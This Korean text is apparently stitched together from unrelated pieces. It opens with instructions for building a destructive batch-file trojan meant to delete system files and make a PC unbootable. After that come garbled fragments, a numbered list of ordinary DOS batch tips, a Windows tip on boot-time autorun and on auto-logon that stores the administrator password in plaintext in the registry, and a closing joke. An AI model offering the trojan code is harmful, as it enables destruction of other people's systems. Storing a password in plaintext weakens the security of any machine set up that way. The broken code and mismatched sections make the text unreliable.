배치파일로 바이러스 제작하기

문제가 발생할 경우 전적으로 당사자 책임입니다.

아주 무식하고 단순한 트로이목마를 만들어보자.
지금 만드는것은 아주 초보적인 수준으로 발견즉시 탐지당할수 있으나
발견즉시 피해를 입히며 자폭할것이니 사용하기는 좋다.

목적 : 침투즉시 시스템 영역 파괴로 부팅불능

@ECHO OFF

ATTRIB C:*.* -H -R -S > NUL NUL" 은 변형결과가 화면에 안뜨게 하는것이다.
DEL *.SYS < NUL > director.bat
echo echo %%getdir_%%>> director.bat
dir | find "Directory"> go.bat
call go
if exist director.bat del director.bat
if exist go.bat del go.bat

19. subst 명령어를 경로에 사용하기
==================================
어떤 디렉토리를 읽기 쉽게 하기 위해서 간단한 배치파일을 사용한다. 만약 subst 가 이미 설정되어서 생길 수 있는 에러를 방지한다. 그리고 마지막으로 현재 대치된 디렉토리의 현황을 보여준다.
@echo off
if exist m:nul echo The substitution has already been made
if not exist m:nul subst m: c:math
if not exist s:nul subst s: c:support
subst

20. 일주일에 한번 실행하기. (요일을 확인하기)
=============================================
요일을 환경변수에 넣는 것은 어려운 기술이다. 완전한 예는 WEEKLY.BAT에서 찾아볼수 있다. 이 기술의 핵심은 아래에 나와 있는데, 요일을 weekday_라는 환경변수에 저장하는 것이다. 일반 도스 프로그램 외에 아무런 보조 프로그램이 필요없다.
@echo off
echo.| date | find "Current" > tmp$$$.bat
echo set weekday_=%%3> current.bat
call tmp$$$
echo %weekday_%
if "%weekday_%"=="Fri" echo Thank God it's Friday
if exist tmp$$$.bat del tmp$$$.bat
if exist current.bat del current.bat
set weekday_=
사실, 위에서 %%3 대신에 %%4를 사용하면 오늘의 날짜를 확인할 수 있다.

21. 파일이름에 경로가 포함되었는지 확인하기
===========================================
우선 먼저 "확장자를 인식하기"를 보면 같은 아이디어인 것을 알 수 있다. 파일이름이 단순히 go.exe 로 이루어 졌는지, 아니면 경로를 포함해서 r:progsgo.exe와 같이 이루어 졌는지 확인하는 것은 r:progs*.exe와 같이 확장자를 사용했다면 매우 복잡한 일이다. 여기서 어떻게 되는지 설명하였다. 이를 완전히 이해했다면 확실히 배치 파일들에 대해서 이해하기 시작했다고 말할 수 있을 것이다.
@echo off
echo @echo off> tmp$$$.bat
echo set rest_=%%1>> tmp$$$.bat
echo :_next>> tmp$$$.bat
echo set prev_=%%rest_%%>> tmp$$$.bat
echo for %%%%g in (/%%rest_%%) do set rest_=%%%%g>> tmp$$$.bat
echo if ":%%rest_%%"=="%%prev_%%" goto _found>> tmp$$$.bat
echo if "%%rest_%%"=="%%prev_%%" goto _found>> tmp$$$.bat
echo if not "%%rest_%%"=="%%prev_%%" goto _next>> tmp$$$.bat
echo goto _nopath>> tmp$$$.bat
echo :_found>> tmp$$ at
echo set haspath_=yes>> tmp$$$.bat
echo goto _out>> tmp$$$.bat
echo :_nopath>> tmp$$$.bat
echo set haspath_=no>> tmp$$$.bat
echo :_out>> tmp$$$.bat
echo set rest_=>> tmp$$$.bat
echo set prev_=>> tmp$$$.bat
for %%f in (%1) do call tmp$$$ %%f
if "%haspath_%"=="yes" echo Filename %1 includes a path
if "%haspath_%"=="no" echo Filename %1 does not include a path
rem if exist tmp$$$.bat del tmp$$$.bat
set haspath_=

22. 엔터키를 누르지 않고 시간을 보기
====================================
현재의 시간을 보는 간단한 기술은 다음과 같다.
echo.| time | find /v "new"
시간을 환경변수로 저장하는 방법은 LASTBOOT.BAT을 보아라.

23. 에러레벨 값을 확인하는 다른 방법
====================================
많은 프로그램과 몇개의 도스명령어들( diskcomp, format, xcopy)은끝날 때 에러 레벨을 발생시킨다. 에러레벨의 누적적인 성질 때문에 에러 레벨을 확인하는 것은 다소 복잡해진다. 그래서 만약 에러레벨이 정확히 2인지 확인하기 위해서는 다음과 같이 한다.
if errorlevel==2 if not errorlevel==3 echo Errorlevel 2
for 명령어를 사용하는 다른 방법으로 다음을 들수 있다.
for %%e in (0 1 2 3 4 5 6 7) do if errorlevel==%%e set
_errlev=%%e
if "%_errlev%"=="2" echo Errorlevel 2
좀 더 일반적으로 다음과 같이 할 수 있다.
for %%e in (0 1 2 3 4 5 6 7) do if errorlevel==%%e set
_errlev=%%e
if "%_errlev%"=="2" echo Errorlevel %_errlev%
복잡한 배치파일에서 편리한 방법은 goto를 사용하는 것이다.
for %%e in (0 1 2) do if errorlevel==%%e goto _label%%e
goto _out
:_label0
echo Errorlevel 0
:_label1
echo Errorlevel 1
:_label2
echo Errorlevel 2
:_out
이 기술을 실제로 사용하는 예는 BOOT.BAT에서 찾아볼수 있다.

24. 배치파일의 출력을 리디렉션(redirection)하기
===============================================
배치파일 안에서의 출력은 손 쉽게 재 방향전환(redirecion)할 수 있다. 다음과 같은 example.bat 이라는 배치파일을 생각해보자.
@echo This is a redirection test> test
"example"를 실행시키면 아래의 문장을 담은 "test"라는 파일을 생성 할 것이다.
This is a redirection test
이 줄은 eoln(end of line: ascii 13 + 10)을 줄 끝에 포함하고 있다. 리디렉션 기호 '>' 앞에 아무런 공백도 주지 않는 것이 현명할때가 있다.
배치파일이 만드는 출력을 다시 재 방향전환(redirection)하는 것은 다소 복잡하다. 다음과 같은 내용을 지닌 example2.bat을 생각해 보자.
@echo This is another redirection test
실행하면,
example2 > test
출력은 화면에 나오고, 빈 test라는 파일이 생성될 것이다. 출력을 재 방향 전환 시키기 위해서는 다음과 같이 command.com 명령어 해석기를 통해서 배치파일을 실행해야 한다.( command.com은 현디렉토리나 경로에 있어야 한다.)
command /c example2 > test
이와 같이 하면 내용이 "test"라는 파일에 담길 것이다.

25. 환경저장 공간이 충분한지 확인하기
=====================================
만약 배치파일이 환경저장 변수를 사용하면, 환경저장 공간이 부족할경우가 있다. 만약 "Out of environment space"라는 메세지를 받는다
면 잘 알려진 방법을 통해서 다음과 같이 config.sys 의 shell을 설정해서 환경저장 공간을 늘릴 수 있다.
shell=c:bincommand.com c:bin /e:1024 /p
이 보다 덜 알려진 기술로는 환경저장 공간이 모자라기 전에 미리 확인해 볼수 있다. 아래의 예는 32바이트의 환경이 남아 있는지 확인한다.
@echo off
set test_=12345678901234567890123456789012
if "%test_%"=="12345678901234567890123456789012" goto _yes
echo Insufficient environment space
goto _out
:_yes
echo Sufficient environment space
set test_=
rem Whatever you wish to do
:_out

26. 드라이브를 사용 못하게 하는 간단한 방법
===========================================
임시로 드라이브를 사용하지 못하게 하려면, subst명령어를 사용하면 된다. 예는 아래와 같다.
@echo off
md c:none
subst d: c:none
다시 사용하게 하려면,
@echo off
subst d: /d
rd c:none

27. 프린터에 escape 명령어를 보내기
===================================
여기 정말 사소한 기술이 있다. 명령행에서 곧바로 프린터에게 escape sequence를 보낼 수 없다. 그러나 다음과 같은 배치파일을 이용하면 간단하다.
@echo ESC%1> prn
ESC는 진짜 escape문자로 에디터로 쓰여져야 된다. 이 방법의 한가지 결점은 라인피드를 보내는 것이다.

28. 무작위 문자열을 만든는 방법
===============================
UseNet news에서 무작위 문자열을 만드는 방법을 물어보는 사람이 있었다. 대답은 다음과 같다. 이를 확장해서 공부해보기 바란다.
@echo off
echo 10 randomize(val(mid$(time$,7,2))) > tmp.bas
echo 20 open "tmp2.bat" for output as #1 >> tmp.bas
echo 30 x$ = mid$(str$(int(rnd*10000)),2) >> tmp.bas
echo 40 print #1,"@set ramdom_=";x$ >> tmp.bas
echo 50 close #2 >> tmp.bas
echo 60 system >> tmp.bas
gwbasic tmp.bas
call tmp2
del tmp.bas
del tmp2.bat
set

29. 문자열의 길이를 알아내기
============================
문자열의 길이를 찾아내는 일은 PC Magazine January 26, 1993 issue 에 실렸다. 여기서 제안하는 방법은 PC 메거진의 방법과 근본적으로 같지만, 더 일반적이다.
@echo off
set test_=Testing the lenght of a string
echo %test_% > len$&$&$
dir len$&$&$ | find "LEN$&$&$" > go$$$.bat
echo @echo off> len$&$&$.bat
echo set length_=%% len$&$&$.bat
call go$$$
echo The lenght is %length_% bytes
del len$&$&$
del len$&$&$.bat
del go$$$.bat

30. MsDos의 버전을 환경변수로 저장하기
======================================
ADJCURS.BAT을 보면 알겠지만, 배치파일로만 버전을 알아낼 수있다.
여기에 다른 방법이 있다.
@echo off
ver > go$$$.bat
echo @echo off> ms-dos.bat
echo set version_=%%2>> ms-dos.bat
call go$$$
echo Your MsDos version is %version_%
del go$$$.bat
del ms-dos.bat





부팅되면서 배치파일이나 특정 프로그램을 자동으로 실행하기 위한 팁입니다.

아래와 같을 때 필요합니다.
 

1. 부팅될때 배치파일이나 어떤 실행파일을 실행시키고 싶다.

2. 서버가 원격지에 있어 재부팅되어도 자동으로 실행되어야 한다.

3. 위와 같은 이유로 또는 로컬서버에서 특정프로그램을 항상 띄워놓고 싶다.

 

추천되는 두가지 방법이 있습니다.

첫째는 리소스킷을 이용하는 것이고.

둘째는 시작프로그램에 등록한 다음 자동로그인되게 하는 것입니다.

 

첫재 방법.

 

1. http://windows2000faq.com/download/autoexnt.zip 을 다운받아 임의의 디렉토리에 압축을 푼다

2. %systemroot%/system32 디렉토리에 autoexnt.exe, autoexnt.bat, servmess.dll파일을 넣는다

3. 명령프롬프트에서 instsrv install 라고 입력한다

4. 서비스에 AutoExNT라는 서비스가 생성된걸 확인한다.

5. %systemroot%/system32/autoexnt.bat파일을 편집하여 부팅시에 실행하고자 하는 명령어를 입력한다.

 

둘째방법.

 

Windows 계열에 경우 부팅되면서 무엇을 자동으로 실행하기 위해 가장 쉬운 방법은 시작프로그램에 등록하는 것일겁니다.

그러나 NT 나 2000 에 경우 부팅되다가 로그온 대화상자가 뜨고 멈추게 되면 그것은 무의미 하게 됩니다.

그 외에 방법은...어렵고...복잡하고...기타등등

그때문에 매번 서버가 재부팅 될때를 기다려서 피시에니웨어나 VNC 로 로그인해서 매번 실행해주거나 터미널클라이언트로

접속해서 실행시킨 다음 그것이 종료될까봐 터미널클라이언트에 세션도 종료하지 못하시는 분들을 자주 보게 됩니다.

그렇다면 서버가 재부팅되면서 자동으로 로그인되게 한다면?  모든것이 너무 쉽게 해결 되버릴겁니다.

2000 프로폐셔널에 경우 메뉴에 자동로그인 항목이 있습니다만 server 이상에 경우 보안상에 문제로 그 기능이 감추어져

있습니다. 그것이야 관리자 계정이 아닌 일반 사용자 계정으로 로그인되게 하거나 자동으로 로그인 되게 한다음 바로

화면을 잠궈버린다면 크게 문제될 것이 없습니다.

시작메뉴 => 실행 => Regedt32   를 실행해서 레지스트리 편집기를 열고

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft \Windows NT\CurrentVersion\Winlogon 을 열고


 

오른쪽 창에 나타난 값들을 살펴보면

DefaultDomainName DefaultUserName 항목이 있을 거고 각각의 값은 아마도 컴이름 또는 도메인 이름과

Administrator계정이 명시되어 있을 겁니다.

관리자 계정에 이름을 바꾸셨다면 administrator 이 아닌 다른 이름일 수도 있습니다.

편집 메뉴 > 값 추가를 클릭해서


 

값이름에 DefaultPassword 라고 입력하고 데이터 형식은 Reg_Sz를 선택하시고 문자열값으로 위 DefaultUserName에

명시된 사용자 계정의 로그온 암호를 입력하십시요.


 

다시 편집 메뉴 > 값 추가를 클릭해서

값이름 : AutoAdminLogon
데이터 형식 : REG_SZ
문자열 : 1

을 입력하신 후 레지스트리 편집기를 닫고 시스템을 재시작 하시면 로컬로 입력하신 계정으로 로그온되어 있을겁니다.

확인방법은 2000 server 이상에 경우 시작메뉴 => 관리도구에서 터미널서버스 관리자를 보시면 consol 이란 항목에

로그인된것을 확인하실수 있습니다.



태초에 나는 개그이야기를 만들었다.
내말을 믿고 나를 따르면 천당,
내말을 믿지않고 나를 따르지 않으면 지옥,
나는 하늘나라(우주)에 사느니라.

그럼 난 외계인?